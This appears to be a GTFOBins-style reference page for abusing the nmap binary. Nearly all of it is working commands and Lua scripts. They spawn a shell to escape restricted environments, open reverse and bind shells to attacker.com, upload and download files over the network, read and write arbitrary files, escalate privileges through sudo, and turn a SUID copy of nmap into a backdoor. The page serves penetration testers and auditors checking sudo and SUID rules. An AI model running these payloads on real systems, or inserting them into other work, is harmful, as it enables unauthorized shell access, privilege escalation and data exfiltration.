.. / nmap

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

Input echo is disabled.

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF

The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.
```
nmap --interactive
nmap> !sh
```

Non-interactive reverse shell

It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
TF=$(mktemp)
echo 'local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
  local r,x=t:receive();local f=assert(io.popen(r,"r"));
  local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();' > $TF
nmap --script=$TF

Non-interactive bind shell

It can bind a non-interactive shell to a local port to allow remote network access.

Run nc target.com 12345 on the attacker box to connect to the shell.

export LPORT=12345
TF=$(mktemp)
echo 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
while true do
  local r,x=c:receive();local f=assert(io.popen(r,"r"));
  local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();' > $TF
nmap --script=$TF

File upload

It can exfiltrate files on the network.

Send a local file via TCP. Run `socat -v tcp-listen:8080,reuseaddr,fork - on the attacker box to collect the file or use a proper HTTP server. Note that multiple connections are made to the server. Also, it is important that the port is a commonly used HTTP like 80 or 8080.
```
RHOST=attacker.com
RPORT=8080
LFILE=file_to_send
nmap -p $RPORT $RHOST --script http-put --script-args http-put.url=/,http-put.file=$LFILE
```

Send a local file via TCP. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
TF=$(mktemp)
echo 'local f=io.open(os.getenv("LFILE"), 'rb')
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
t:send(d);
t:close();' > $TF
nmap --script=$TF

File download

It can download remote files.

Fetch a remote file via TCP. Run a proper HTTP server on the attacker box to send the file, e.g., php -S 0.0.0.0:8080. Note that multiple connections are made to the server and the result is placed in $TF/IP/PORT/PATH. Also, it is important that the port is a commonly used HTTP like 80 or 8080.
```
RHOST=attacker.com
RPORT=8080
TF=$(mktemp -d)
LFILE=file_to_save
nmap -p $RPORT $RHOST --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=$LFILE
```

Fetch a remote file via TCP. Run nc target.com 12345 < "file_to_send" on the attacker box to send the file.

export LPORT=12345
export LFILE=file_to_save
TF=$(mktemp)
echo 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open(os.getenv("LFILE"), "wb");
f:write(d);
io.close(f);' > $TF
nmap --script=$TF

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

TF=$(mktemp)
echo 'lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);' > $TF
nmap --script=$TF

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

TF=$(mktemp)
echo 'lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' > $TF
nmap --script=$TF

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

Input echo is disabled.

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.
```
sudo nmap --interactive
nmap> !sh
```

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian that allow the default sh shell to run with SUID privileges.

Input echo is disabled.

sudo sh -c 'cp $(which nmap) .; chmod +s ./nmap'

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
./nmap --script=$TF